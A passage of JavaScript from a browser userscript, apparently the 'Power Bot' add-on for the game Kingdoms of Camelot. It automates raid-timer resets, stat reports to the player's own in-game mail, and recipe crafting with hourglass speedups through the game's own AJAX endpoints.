          var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
                    
          params.pf = 0;
          params.ctrl = 'BotManager';
          params.action = 'getMarches';
          params.settings = {};
          params.settings.cityId = cityId;
          
          
           new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
                   method: "post",
                   parameters: params,
                   loading: true,
                   onSuccess: function(transport){
                      var rslt = eval("(" + transport.responseText + ")");
                        if (rslt.ok) {
                            t.rslt = rslt;
                              t.paint();
                              unsafeWindow.cityinfo_army();
                              setTimeout(unsafeWindow.update_seed_ajax, 250);
                          }
                   },
           });
  },
  
  
  resetRaids : function(cityId,cityName){
          var t = Tabs.Raid;
          var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
                    
          params.pf = 0;
          params.ctrl = 'BotManager';
          params.action = 'resetRaidTimer';
        params.settings = {};
          params.settings.cityId = cityId;
          
          
           new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
                   method: "post",
                   parameters: params,
                 loading: true,
                 onSuccess: function(transport){
                    var rslt = eval("(" + transport.responseText + ")");
                        if (rslt.ok) {
                            unsafeWindow.cityinfo_army();
                            setTimeout(unsafeWindow.update_seed_ajax, 250);
                            t.citiesdone += cityName + ' ';
                        }
                 },
           });
  },
  
  postLog : function (){
          var t = Tabs.Raid;
          actionLog('Reset Raidtimer: ' + t.citiesdone);
  },
  
  sendreport: function(){
      var t = Tabs.Raid;
      if(!Options.foodreport) return;
      var now = new Date().getTime()/1000.0;
      now = now.toFixed(0);
      if (now < (parseInt(Options.LastReport)+(Options.MsgInterval*60*60))) return;
    
    var total = 0;
    var message = 'Raid Stats: %0A';
    message += '%0A Food Gain (for '+ Options.MsgInterval +' hour of raiding) %0A';
    for (q=1;q<=Seed.cities.length;q++){
        var cityID = 'city' + Seed.cities[q-1][0];
        var gain = parseInt(Seed.resources[cityID]['rec1'][0] / 3600) - Options.Foodstatus[q];
        message+= Seed.cities[q-1][1] + ': Start: ' + addCommas(Options.Foodstatus[q]) + ' End :' + addCommas(parseInt(Seed.resources[cityID]['rec1'][0] / 3600)) + ' Gain: ';
        message += addCommas(gain)  + '%0A';
        total += gain;
        Options.Foodstatus[q] = parseInt(Seed.resources[cityID]['rec1'][0] / 3600);
    }
    message += '%0A Total food gain : '+addCommas(total)+'%0A';
    
    var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
    params.emailTo = Seed.player['name'];
    params.subject = "Raid Overview";
    params.message = message;
    params.requestType = "COMPOSED_MAIL";
    new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/getEmail.php" + unsafeWindow.g_ajaxsuffix, {
        method: "post",
        parameters: params,
        onSuccess: function (message) {
            var rslt = eval("(" + message.responseText + ")");
            if (rslt.ok) {
            } else {
            }
        },
        onFailure: function () {
        },
    });
    
    Options.LastReport = now;
    saveOptions();
  },
  
  toggleRaidState : function (){
      var t = Tabs.Raid;
      if(Options.RaidRunning){
          Options.RaidRunning = false;
          t.raidtimer = null;
          document.getElementById('pbRaidStart').value = 'Auto Reset = OFF';
      } else {
          Options.RaidRunning = true;
          t.raidtimer = setTimeout(t.checkRaids, 5000);
          document.getElementById('pbRaidStart').value = 'Auto Reset = ON';
      }
      saveOptions();
  },
  
    
  hide : function (){
  },

  show : function (){
  },
 };
 
/*************************** Auto Craft Tab *************************************/
Tabs.AutoCraft = {
	tabOrder: 20, //CHECKTHIS ?
	tabLabel: unsafeWindow.g_js_strings.commonstr.craft,
	myDiv: null,
	timerStat: null,
	crafting: [],
	citydelay: {1:0,2:0,3:0,4:0,5:0,6:0,7:0,8:0},
	autodelay: 0,
	craftLoop : 0,
	craftInterval  : 5, // seconds
	craftMinAether : 50000,
	craftinfo : {},
	totaether : 0,
	spires: [],
	csok: true,
	lastcsok: true,
	AutoCity: 0,
	Squire:0,
	Knight:0,
	Guinevere:0,
	Morgana:0,

	init: function(div){
		var t = Tabs.AutoCraft;
		t.myDiv = div;
		
		t.crafting = {	running: TrainOptions.CraftingRunning, };

		// set this after TrainOptions has been read in
		t.CraftMinAether =TrainOptions.CraftMinAether;
		
		var m = '<div class="pbStat">CRAFTING TAB</div>\
				<table width="100%" height="0%" class="pbTab"><tr align="center">\
				<td><input type="submit" id="pbCraftRunning" value="Crafting = ' + (t.crafting.running ? 'ON' : 'OFF') + '" /></td>\
				<td><input type="submit" id="Crafting_Save" value="Save Settings" /></td></tr></table>\
				<div class="pbStat" id=pbCraftingDiv>OPTIONS</div>';

		m += '<table width="100%" height="0%" class="pbTab">';
		m += '<tr><td><INPUT id=pbacTR type=checkbox '+(TrainOptions.actr?'CHECKED':'')+'> Only craft when crafting speed is at least <INPUT id=pbacTRset type=text size=3 maxlength=4 value="'+ TrainOptions.actrset +'">%</td><td align=right>Minimum Aetherstone: <input type=text value="'+TrainOptions.CraftMinAether+'" size=4  maxlength=6 id=pbCraftMinAether>&nbsp;&nbsp;</td></tr>';
		m += '<tr><td><INPUT id=pbacTRbase type=checkbox '+(TrainOptions.actrbase?'CHECKED':'')+'> Ignore above setting for basic crafts (e.g. Bloodstones)</td><td align=right>Current Crafting Speed:&nbsp;<span id=currcs></span>&nbsp;&nbsp;</td></tr>';
		m += '<tr><td colspan=2>&nbsp;<b>Use Auto-Speedups:</b></td></tr>';
		m += '<tr><td colspan=2><div align=right><table width=95%><tr>';
        m += "<td style='vertical-align:text-top;' title='" + HourGlassTDLabel[1] + "'><input type=checkbox id=pbcraftSH " + (TrainOptions.CraftUseSH ? "CHECKED" : "") + "><div style='white-space:nowrap;display:inline-block;'>" + HourGlassName[1] + " (<div style='white-space:nowrap;display:inline-block;' id=pbUseSHLabel>" + unsafeWindow.ksoItems[1].count + "</div>)</div></td>";
        m += "<td style='vertical-align:text-top;' title='" + HourGlassTDLabel[2] + "'><input type=checkbox id=pbcraftKH " + (TrainOptions.CraftUseKH ? "CHECKED" : "") + "><div style='white-space:nowrap;display:inline-block;'>" + HourGlassName[2] + " (<div style='white-space:nowrap;display:inline-block;' id=pbUseKHLabel>" + unsafeWindow.ksoItems[2].count + "</div>)</div></td>";
        m += "<td style='vertical-align:text-top;' title='" + HourGlassTDLabel[3] + "'><input type=checkbox id=pbcraftGH " + (TrainOptions.CraftUseGH ? "CHECKED" : "") + "><div style='white-space:nowrap;display:inline-block;'>" + HourGlassName[3] + " (<div style='white-space:nowrap;display:inline-block;' id=pbUseGHLabel>" + unsafeWindow.ksoItems[3].count + "</div>)</div></td>";
        m += "<td style='vertical-align:text-top;' title='" + HourGlassTDLabel[4] + "'><input type=checkbox id=pbcraftMH " + (TrainOptions.CraftUseMH ? "CHECKED" : "") + "><div style='white-space:nowrap;display:inline-block;'>" + HourGlassName[4] + " (<div style='white-space:nowrap;display:inline-block;' id=pbUseMHLabel>" + unsafeWindow.ksoItems[4].count + "</div>)</div></td>";
		m += '<td align=right><INPUT id=pbCraftHelp type=submit value="HELP!"></td></tr></table></td></tr>';
		m += '</table></div>';
		m += '<DIV id=pbCraftingStats class=pbStat>CITIES</div><span id="CraftStat"></span>';
		m += '<DIV id=pbCraftingList class=pbStat>RECIPE LIST</div><TABLE id=pbcraftingqueues width=100% height=0% class=pbTabLined><TR>';

		m += "<td>&nbsp;</td><td><center><b>Items</b></center></td><td><center><b>Inventory</b></center></td><td><b>Amount</b></td><td><b>Lock</b></td><td><b>Success</b></td>";
		m += "<td>&nbsp;</td><td><center><b>Items</b></center></td><td><center><b>Inventory</b></center></td><td><b>Amount</b></td><td><b>Lock</b></td><td><b>Success</b></td>";
		m += "</tr><tr>";

		var count = 0;
		for(var i=0; i < unsafeWindow.recipelist[1].length; i++){
			var h = parseInt(unsafeWindow.recipelist[1][i].output_item_id);
			t.craftinfo[h] = {};
			t.craftinfo[h].recipe_id = unsafeWindow.recipelist[1][i].recipe_id;
			t.craftinfo[h].name = unsafeWindow.recipelist[1][i].name;
			t.craftinfo[h].category = unsafeWindow.recipelist[1][i].category;
			t.craftinfo[h].input = unsafeWindow.recipelist[1][i].input;
			t.craftinfo[h].requirements = unsafeWindow.recipelist[1][i].requirements;
			t.craftinfo[h].inputItems = unsafeWindow.recipelist[1][i].input.items;
			t.craftinfo[h].astone = unsafeWindow.recipelist[1][i].input.resources;
			t.craftinfo[h].odds = unsafeWindow.recipelist[1][i].failure_chance;
			var craftingstr = "";
			var crafting = t.checkCraftQueues(h);
			if (crafting != 0) craftingstr = " ("+crafting+")";
			m += "<td align=center><img src='"+http+"kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/items/70/"+ h + ".jpg' width=25></td><td align=center class=craftdesc id=craftdes"+h+" >"+unsafeWindow.itemlist["i"+h].name+"</td><td align=center><span id='Craft_inv_"+h+"' class=boldGreen>"+parseIntNan(Seed.items["i"+h])+craftingstr+"</span></td>";
			m += "<td><input type=text size=4 id='Craft_nb_"+h+"' value='"+ parseIntNan(TrainOptions.CraftingNb[h]) +"'></td><td><INPUT id='Craft_nbfix_"+h+"' type=checkbox "+(TrainOptions.CraftingNbFix[h]?'CHECKED':'')+"></td><td id='Craft_stats_"+h+"'>"+t.getCraftPercent(TrainOptions.CraftingStats[h])+"</td>";
			if ((count+1)%2 == 0) m += "</tr><tr>";
			count++;
		}
		for(var i=0; i < unsafeWindow.recipelist[3].length; i++){
			var h = parseInt(unsafeWindow.recipelist[3][i].output_item_id);
			t.craftinfo[h] = {};
			t.craftinfo[h].recipe_id = unsafeWindow.recipelist[3][i].recipe_id;
			t.craftinfo[h].name = unsafeWindow.recipelist[3][i].name;
			t.craftinfo[h].category = unsafeWindow.recipelist[3][i].category;
			t.craftinfo[h].input = unsafeWindow.recipelist[3][i].input;
			t.craftinfo[h].requirements = unsafeWindow.recipelist[3][i].requirements;
			t.craftinfo[h].inputItems = unsafeWindow.recipelist[3][i].input.items;
			t.craftinfo[h].astone = unsafeWindow.recipelist[3][i].input.resources;
			t.craftinfo[h].odds = unsafeWindow.recipelist[3][i].failure_chance;
			var craftingstr = "";
			var crafting = t.checkCraftQueues(h);
			if (crafting != 0) craftingstr = " ("+crafting+")";
			m += "<td align=center><img src='"+http+"kabam1-a.akamaihd.net/silooneofcamelot/fb/e2/src/img/items/70/"+ h + ".jpg' width=25></td><td align=center class=craftdesc id=craftdes"+h+" >"+unsafeWindow.itemlist["i"+h].name+"</td><td align=center><span id='Craft_inv_"+h+"' class=boldGreen>"+parseIntNan(Seed.items["i"+h])+craftingstr+"</span></td>";
			m += "<td><input type=text size=4 id='Craft_nb_"+h+"' value='"+ parseIntNan(TrainOptions.CraftingNb[h]) +"'></td><td><INPUT id='Craft_nbfix_"+h+"' type=checkbox "+(TrainOptions.CraftingNbFix[h]?'CHECKED':'')+"></td><td id='Craft_stats_"+h+"'>"+t.getCraftPercent(TrainOptions.CraftingStats[h])+"</td>";
			if ((count+1)%2 == 0) m += "</tr><tr>";
			count++;
		}

		m+="</table><center><b>Notes:</b> If you select more than one recipe, the crafting order will be done randomly.<br>Lock means that the craft amount will not reduce, and crafting will continue until you have that number in your inventory.<br>The success column shows you the crafting success percentage of each recipe.<br>&nbsp;</center>";

		t.myDiv.innerHTML = m;

		var cities = unsafeWindow.seed.cities;
		var str='<table width="100%" style ="font-size: 10px;"><thead><tr><th>&nbsp;</th>';
		for (i = 0; i < cities.length; i ++) {
			str += '<th id=craftcity'+i+'>' + cities[i][1] + '</th>';
		}
		str += '<th>total</th></tr></thead><tbody><tr><td>&nbsp;</td>';
		for (i = 0; i < cities.length; i ++) {
			var city = i+1;
			str += '<td align=center><INPUT class='+city+' id=CraftCity'+city+' type=checkbox '+(TrainOptions.CraftingCities[city]?'CHECKED':'')+'></td>';
		}
		str += '<td>&nbsp;</td></tr>';

		str +='<tr style="background: #e8e8e8" align=right><td><img height=18 src='+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/aetherstone_30.png title="Aether"></td>';
		t.totaether = 0;
		for(i=0; i<Cities.numCities; i++) {
			str +="<td align=center id=cityaether"+i+">"+t.getCityAether(i)+"</td>";  
		}
		str +="<td align=center id=totaether>"+ addCommas(t.totaether) + "</td>";  
		str +='<tr style="background: #e8e8e8" align=right><td><img height=18 src='+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/items/70/2000.jpg title="Crafting"></td>';
		for(i=0; i<Cities.numCities; i++) {
			t.spires.push(getUniqueCityBuilding(Cities.cities[i].id,20));
			str +="<td align=center id=citycraft"+i+">"+ t.getCityCrafting(i) + "</td>";  
		}    
		str +="<td>&nbsp;</td></tr></tbody></table>";    

		document.getElementById("CraftStat").innerHTML=str;
	  
		for (i = 0; i < cities.length; i ++) {
			var city = i+1;
			document.getElementById('CraftCity'+city).addEventListener('change', function(e){
				TrainOptions.CraftingCities[e.target['className']] = e.target.checked;
				t.saveCraftState();	}, false);
		}

		window.addEventListener('unload', t.onUnload, false);

		unsafeWindow.speedupCraft = function (cityId,item,cid) {t.speedupCraft(cityId,item,cid);}

		document.getElementById("Crafting_Save").addEventListener ('click', function (){t.saveCraftState()}, false);
		document.getElementById("pbCraftRunning").addEventListener ('click', function (){t.toggleStateRunning(this)}, false);     
		t.changeCraft ('pbCraftMinAether', 'CraftMinAether')
		document.getElementById('pbacTR').addEventListener ('change', function() {TrainOptions.actr = this.checked;t.saveCraftState();}, false);
		document.getElementById('pbacTRbase').addEventListener ('change', function() {TrainOptions.actrbase = this.checked;t.saveCraftState();}, false);
		document.getElementById('pbacTRset').addEventListener ('change', function() {TrainOptions.actrset = this.value;t.saveCraftState();}, false);
		document.getElementById('pbcraftSH').addEventListener ('change', function() {TrainOptions.CraftUseSH = this.checked;t.saveCraftState();}, false);
		document.getElementById('pbcraftKH').addEventListener ('change', function() {TrainOptions.CraftUseKH = this.checked;t.saveCraftState();}, false);
		document.getElementById('pbcraftGH').addEventListener ('change', function() {TrainOptions.CraftUseGH = this.checked;t.saveCraftState();}, false);
		document.getElementById('pbcraftMH').addEventListener ('change', function() {TrainOptions.CraftUseMH = this.checked;t.saveCraftState();}, false);
		document.getElementById ('pbCraftHelp').addEventListener ('click', t.helpPop, false);

		var cItems = document.getElementById('pbcraftingqueues').getElementsByTagName('input');
		for (var i = 0; i < cItems.length; i++) {
			cItems[i].addEventListener('change', function(){t.saveCraftState()}, false);
		}
		var cItems = document.getElementById('pbcraftingqueues').getElementsByClassName('craftdesc');
		for (var i = 0; i < cItems.length; i++) { t.createToolTip(cItems[i]); }
		
		t.updateStat(); // start timer on init..
	},

	helpPop : function (){
		var helpText = '<br>'+translate("Using Speedups for Crafting");
		helpText += '<p>Speedups will be used in the following order if they are selected, and the required criteria is met :-</p>';
		helpText += '<TABLE><TR><TD><b>Item</b></td><TD><b>Time</b></td><TD><b>Criteria</b></td></tr>';
		helpText += '<TR><TD>Morganas Hourglass</td><TD>2.5 hrs</td><TD>More than 2 hours remaining</td></tr>';
		helpText += '<TR><TD>Guineveres Hourglass</td><TD>1 hr</td><TD>More than 45 minutes remaining</td></tr>';
		helpText += '<TR><TD>Knights Hourglass</td><TD>15 mins</td><TD>More than 5 minutes remaining</td></tr>';
		helpText += '<TR><TD>Squires Hourglass</td><TD>1 min</td><TD>More than 30 seconds remaining</td></tr>';
		helpText += '</table><br>';
    
		var pop = new pbPopup ('giftHelp', 0, 0, 450, 220, true);
		pop.centerMe (mainPop.getMainDiv());  
		pop.getMainDiv().innerHTML = helpText;
		pop.getTopDiv().innerHTML = '<CENTER><B>Power Bot '+translate("Help")+': '+translate("Speedups")+'</b></center>';
		pop.show (true);
	},
	
	
	createToolTip : function (elem) {
		var t = Tabs.AutoCraft;
		var h = elem.id.substring(8);
		var recipeId = t.craftinfo[h].recipe_id;
		var name = t.craftinfo[h].name;
		var category = t.craftinfo[h].category;
		var input = t.craftinfo[h].input;
		var requirements = t.craftinfo[h].requirements.building;
		var inputitems = t.craftinfo[h].inputItems;
		var astone = t.craftinfo[h].astone[1];
		var odds = t.craftinfo[h].odds;
		
		var ingredients = '';
   	 	for (var i in inputitems) {
      	 	if (i>0) {
				span = '<span>';
				if (parseInt(Seed.items['i'+i]) < inputitems[i]) span = '<span style="color:#f00">';
				ingredients += span + unsafeWindow.itemlist['i'+i].name +' : '+inputitems[i]+'</span><br>';
			}
		}
		if (ingredients != '') ingredients = '<b>Ingredients</b><br>' + ingredients;

		unsafeWindow.jQuery('#'+elem.id).children("span").remove();
		unsafeWindow.jQuery('#'+elem.id).append('<span class="crafttip"><b>Recipe Name</b><br>' +name+' ('+odds+')<br><b>Requirements</b><br>Spire Lv.'+requirements+'<br>Aetherstone : '+addCommas(astone)+'<br>'+ingredients + '</span>');
	},
	
	getCityAether : function (i) {
		var t = Tabs.AutoCraft;
		cityID = 'city'+ Cities.cities[i].id;
		cityaether = parseInt(Seed.resources[cityID]['rec5'][0]);
		t.totaether = t.totaether+cityaether;
		var span = '<span>';
		if (cityaether < TrainOptions.CraftMinAether) span = '<span style="color:#f00">';
		return span+addCommas(cityaether)+'</span>';
	},
	
	getCityCrafting : function (i) {
		var t = Tabs.AutoCraft;
		var now = unixTime();
		var q;
		t.spires[i] = getUniqueCityBuilding(Cities.cities[i].id,20);
		var gotSpire = (t.spires[i].count != 0);
		if (gotSpire) {
			var str = '<span>Spire (Lv.'+t.spires[i].maxLevel+')</span><BR>';
			var totTime = 0;
			// the last item in the queue should be the item in progress
			var len = Seed.queue_craft["city" + Cities.cities[i].id].length;
			if ( len > 0) {
				q = Seed.queue_craft["city" + Cities.cities[i].id][len-1];
				totTime = q.craftingEtaUnixTime - now;
				if (totTime < 0) totTime = 0;
			}	
			if (totTime > 0) {
				var Speedups = '';
				var SpeedupType = '"craft"';
				
				if (t.Squire) {
					Speedups += '<td class=xtab><a onClick="speedupCraft('+Cities.cities[i].id+', 1, '+q.craftingId+')"><img height=18 style="opacity:0.8;vertical-align:text-top;" src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/items/70/1.jpg" title="Squires Hourglass (1 min) ('+t.Squire+')"></a></td>';
				}	
				if (t.Knight) {
					Speedups += '<td class=xtab><a onClick="speedupCraft('+Cities.cities[i].id+', 2, '+q.craftingId+')"><img height=18 style="opacity:0.8;vertical-align:text-top;" src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/items/70/2.jpg" title="Knights Hourglass (15 mins) ('+t.Knight+')"></a></td>';
				}	
				if (t.Guinevere) {
					Speedups += '<td class=xtab><a onClick="speedupCraft('+Cities.cities[i].id+', 3, '+q.craftingId+')"><img height=18 style="opacity:0.8;vertical-align:text-top;" src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/items/70/3.jpg" title="Guineveres Hourglass (60 mins) ('+t.Guinevere+')"></a></td>';
				}	
				if (t.Morgana) {
					Speedups += '<td class=xtab><a onClick="speedupCraft('+Cities.cities[i].id+', 4, '+q.craftingId+')"><img height=18 style="opacity:0.8;vertical-align:text-top;" src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/items/70/4.jpg" title="Morganas Hourglass (150 mins) ('+t.Morgana+')"></a></td>';
				}	
				if (Speedups != "") Speedups = "<table align=center cellspacing=0 cellpadding=0><tr>" + Speedups + "</tr></table>";
			
				str += '<span>'+t.getRecipeName(q.recipeId)+'</span><BR><span>'+timestr(totTime)+'</span>'+Speedups;
			}
			else {  	
				if (t.citydelay[i+1] > 0) { str += '<span>&nbsp;</span><BR><SPAN class=boldRed><B>Busy!</b></span>'; }
				else { str += '<span>&nbsp;</span><BR><SPAN class=boldRed><B>Idle</b></span>'; }
				t.cityCraft(i); 
			}
		}
		else {
			var str = '<SPAN class=boldRed><B>No Spire</b></span><br>';
		}

		if  (t.autodelay <= 0) { 
			if (i == t.AutoCity) {
				if (q) {
					t.autoSpeedup (Cities.cities[i].id,q);
				}
				t.AutoCity++;
				if (t.AutoCity > Number(Cities.numCities)-1) t.AutoCity = 0;
			}	
		}

		return str;
	},

	speedupCraft : function (cityId,item,cid,noretry) {
		var t = Tabs.AutoCraft;
		t.autodelay = 5; // don't try again for 5 seconds
		unsafeWindow.jQuery('#craftcity'+Cities.byID[cityId].idx).css('color', 'green');
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
  		params.ctrl = 'Crafting';
  		params.action = 'speedup';
  		params.cityId = cityId;
  		params.itemId = item;
  		params.craftingId = cid;

  		new MyAjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch.php" + unsafeWindow.g_ajaxsuffix, {
  			method: "post",
  			parameters: params,
  			onSuccess: function (rslt) {
				if (rslt.error_code || rslt.error_code == 0) { // no OK status on this call, but if there's an error_code assume speedup failed...
					actionLog('Crafting Speedup Failed');
				}
				else {
					Seed.items["i" + item] = parseInt(Seed.items["i" + item]) - 1;
					unsafeWindow.ksoItems[item].subtract();
					var qloc = 0;
					for (var i = 0; i < Seed.queue_craft["city" + cityId].length; i++) {
						if (parseInt(Seed.queue_craft["city" + cityId][i].craftingId) == parseInt(cid)) {
							qloc = i;
							break;
						}
					}
					var timered = 0;
					var timeredarr = [60, 900, 3600, 9000, 28800, 54000, 86400, 216000, 0, 345600];
					var utstart = parseInt(Seed.queue_craft["city" + cityId][qloc].craftingUnixTime);
					var uteta = parseInt(Seed.queue_craft["city" + cityId][qloc].craftingEtaUnixTime);
					timered = timeredarr[parseInt(item) - 1];
					Seed.queue_craft["city" + cityId][qloc].craftingUnixTime = utstart - timered;
					Seed.queue_craft["city" + cityId][qloc].craftingEtaUnixTime = uteta - timered;
					if (cityId == unsafeWindow.currentcityid) unsafeWindow.update_queue();
				}
				unsafeWindow.jQuery('#craftcity'+Cities.byID[cityId].idx).css('color', 'rgb(66, 39, 20)')
  			},
			onFailure: function () { 
				unsafeWindow.jQuery('#craftcity'+Cities.byID[cityId].idx).css('color', 'rgb(66, 39, 20)')
			}
  		},noretry);
	},
	
    autoSpeedup: function (cityId,q) {
		var t = Tabs.AutoCraft;
		var now = unixTime();
		var item = 0;
		totTime = q.craftingEtaUnixTime - now;
		
		if (totTime > 0) {
            if (item==0 && totTime >= HOURGLASSES_TIME_MIN_THRESHOLD.hour25 && TrainOptions.CraftUseMH && unsafeWindow.ksoItems[4].count > 0) { item = 4; }
            if (item==0 && totTime >= HOURGLASSES_TIME_MIN_THRESHOLD.hour1 && TrainOptions.CraftUseGH && unsafeWindow.ksoItems[3].count > 0) { item = 3; }
            if (item==0 && totTime >= HOURGLASSES_TIME_MIN_THRESHOLD.minute15 && TrainOptions.CraftUseKH && unsafeWindow.ksoItems[2].count > 0) { item = 2; }
            if (item==0 && totTime >= HOURGLASSES_TIME_MIN_THRESHOLD.minute1 && TrainOptions.CraftUseSH && unsafeWindow.ksoItems[1].count > 0) { item = 1; }
        }

		if (item != 0) {
			t.speedupCraft(cityId,item,q.craftingId,true);
		}
    },
	
	getCraftPercent : function (item) {
		if (item) {
			var succ = item[0];
			var tot = item[1];
			if (parseIntNan(tot) != 0) {
				return parseInt((parseIntNan(succ)/parseIntNan(tot))*10000)/100+'%';
			}
			else { return "&nbsp;"; }
		}
		else {return "&nbsp;"; }
	},

	changeCraft : function (valueId, optionName, callOnChange){
		var t = Tabs.AutoCraft;
		var e = document.getElementById(valueId);
		e.value = TrainOptions[optionName];
		e.addEventListener ('change', eventHandler, false);
		function eventHandler (){
			TrainOptions[optionName] = this.value;
			saveTrainOptions();
			if (callOnChange)
				callOnChange (this.value);
		}
	},
	
	updateStat: function() {
		var t = Tabs.AutoCraft;
		clearTimeout(t.timerStat);
		t.craftLoop ++;
		t.totaether = 0;
		if  (t.autodelay > 0) { 
			t.autodelay = t.autodelay - 1;
		}
		
		t.Squire = Seed.items.i1;
		t.Knight = Seed.items.i2;
		t.Guinevere = Seed.items.i3;
		t.Morgana = Seed.items.i4;
		
		document.getElementById('pbUseSHLabel').innerHTML = t.Squire;
		document.getElementById('pbUseKHLabel').innerHTML = t.Knight;
		document.getElementById('pbUseGHLabel').innerHTML = t.Guinevere;
		document.getElementById('pbUseMHLabel').innerHTML = t.Morgana;
		
		for(i=0; i<Cities.numCities; i++) {
			document.getElementById("cityaether"+i).innerHTML = t.getCityAether(i);  
			document.getElementById("citycraft"+i).innerHTML = t.getCityCrafting(i);  
		}
		document.getElementById("totaether").innerHTML = addCommas(t.totaether);  
		
		var cs = Math.floor(equippedthronestats(81));
		document.getElementById("currcs").innerHTML = cs+'%';
		t.csok = (!TrainOptions.actr || (cs >= Number(TrainOptions.actrset)));
		if (t.csok != t.lastcsok) {
			if (!t.csok) {
				unsafeWindow.jQuery('#currcs').css('color', 'red');
			}	
			else {	
				unsafeWindow.jQuery('#currcs').css('color', 'black');
			}
		}		
		t.lastcsok = t.csok;
		
		t.timerStat = setTimeout(function() { t.updateStat(); }, 2000);
	},

	RefreshCraftNumbers : function() {
		var t = Tabs.AutoCraft;
		for(var h in t.craftinfo) {
			var craftingstr = "";
			var crafting = t.checkCraftQueues(h);
			if (crafting != 0) craftingstr = " ("+crafting+")";
			if (document.getElementById("Craft_nb_" +h)) document.getElementById("Craft_nb_"+h).value=parseInt(TrainOptions.CraftingNb[h]) ;
			if (document.getElementById("Craft_stats_"+h)) document.getElementById("Craft_stats_"+h).innerHTML=t.getCraftPercent(TrainOptions.CraftingStats[h]);
			if (document.getElementById("Craft_inv_"+h)) document.getElementById("Craft_inv_"+h).innerHTML=parseIntNan(Seed.items["i"+h])+craftingstr;
		}
		var cItems = document.getElementById('pbcraftingqueues').getElementsByClassName('craftdesc');
		for (var i = 0; i < cItems.length; i++) { t.createToolTip(cItems[i]); }
	},

	checkCraftQueues : function (h) {
		var t = Tabs.AutoCraft;
		var result = 0;
		for (var i=0;i<Seed.cities.length;i++) {
			var len = Seed.queue_craft["city" + Seed.cities[i][0]].length;
			if (len>0) {
				var q=Seed.queue_craft["city" + Seed.cities[i][0]][len-1];
				if (parseInt(q.recipeId) == parseInt(t.craftinfo[h].recipe_id)) {result++;}
			}	
		}
		return result;
	},
	
	getRecipeName : function(recipeId) {
		var name = "";
		var t = Tabs.AutoCraft;
		for(var h in t.craftinfo) {
			if (parseInt(t.craftinfo[h].recipe_id) == parseInt(recipeId)) {
				name = t.craftinfo[h].name;
				break;
			}	
		}
		return name;
	},
	
	saveCraftState : function() {
		var t = Tabs.AutoCraft;
		TrainOptions.CraftingRunning =  t.crafting.running;
		for(var h in t.craftinfo) {
			if (document.getElementById("Craft_nb_" +h)) TrainOptions.CraftingNb[h] = document.getElementById("Craft_nb_"+h).value;
			if (document.getElementById("Craft_nbfix_" +h)) TrainOptions.CraftingNbFix[h] = document.getElementById("Craft_nbfix_"+h).checked;
		}
		saveTrainOptions();
		document.getElementById('pbCraftingDiv').style.background = '#99FF99';
		setTimeout(function() {(document.getElementById('pbCraftingDiv').style.background = '');}, 1000);
	},
	
	toggleStateRunning: function(obj){
		var t = Tabs.AutoCraft;
		obj = document.getElementById('pbCraftRunning');
		if (t.crafting.running == true) {
			t.crafting.running = false;
			t.saveCraftState();
			if (obj) obj.value = "Crafting = OFF";
		}
		else {
			t.crafting.running = true;
			t.saveCraftState();
			if (obj) obj.value  = "Crafting = ON";
		}
		t.RefreshCraftNumbers();
	},
	
	cityCraft: function(c) {
		var t = Tabs.AutoCraft;
		var cityId=Cities.cities[c].id;

		if  ((t.craftLoop % t.craftInterval) != 1) return; // only check every 5 loops

		var cs = Math.floor(equippedthronestats(81));
		
		if(!TrainOptions.CraftingRunning) return; // crafting was turned off
		if (TrainOptions.actr && !TrainOptions.actrbase && (cs < Number(TrainOptions.actrset))) return; // not enough crafting speed
		if (!TrainOptions.CraftingCities[c+1]) return; // no autocraft in this city
		if (t.citydelay[c+1] > 0) { t.citydelay[c+1]--; return; } // city being delayed due to error, reduce delay number and skip city
		if (t.spires[c].count==0) return; // no spire in this city
		if (parseInt(Seed.resources["city" + cityId]['rec5'][0])<t.CraftMinAether) return;  // not enough a-stone

		var tableau = [];
		for(var d in TrainOptions.CraftingNb) {
			if ((!TrainOptions.CraftingNbFix[d] && (parseInt(TrainOptions.CraftingNb[d])>0)) || (TrainOptions.CraftingNbFix[d] && (parseInt(TrainOptions.CraftingNb[d])>parseIntNan(Seed.items["i"+d])+t.checkCraftQueues(d)))) {
				if(parseInt(Seed.resources["city" + cityId]['rec5'][0]) >= parseInt(t.craftinfo[d].astone[1]))
					if(parseInt(t.craftinfo[d].requirements.building) <= parseInt(t.spires[c].maxLevel))
						if(t.craftinfo[d].inputItems == "") { // "base items"
							tableau.push (d);
						} else {
							if (!TrainOptions.actr || (Number(cs) >= Number(TrainOptions.actrset))) { // if no craft speed restriction or enough crafting speed
								for(var i in t.craftinfo[d].inputItems) {
									if (parseInt(unsafeWindow.seed.items["i"+i]) < parseInt(t.craftinfo[d].inputItems[i]))
										break;
								}  
								if(parseInt(unsafeWindow.seed.items["i"+i]) >= parseInt(t.craftinfo[d].inputItems[i]))
									tableau.push (d);
							}		
						}
			}
		}
		if (tableau.length == 0) return ; // nothing to craft

		t.craftLoop++;
		
		var itemId = tableau[Math.floor(Math.random()*tableau.length)];
		var recipeId = t.craftinfo[itemId].recipe_id;
		var category = t.craftinfo[itemId].category;

		unsafeWindow.jQuery('#craftcity'+c).css('color', 'red');

		t.CraftAJAX(c, cityId, itemId, recipeId, category);
	},

	CraftAJAX: function (c, currentcity, itemId, recipeId, category) {
		var t = Tabs.AutoCraft;
		// set up success stats if first time crafted this item..
		if (!TrainOptions.CraftingStats[itemId]) {
			TrainOptions.CraftingStats[itemId] = [0,0];	
			saveTrainOptions();
		}	

		if (!isNaN(t.craftinfo[itemId].astone[1]))
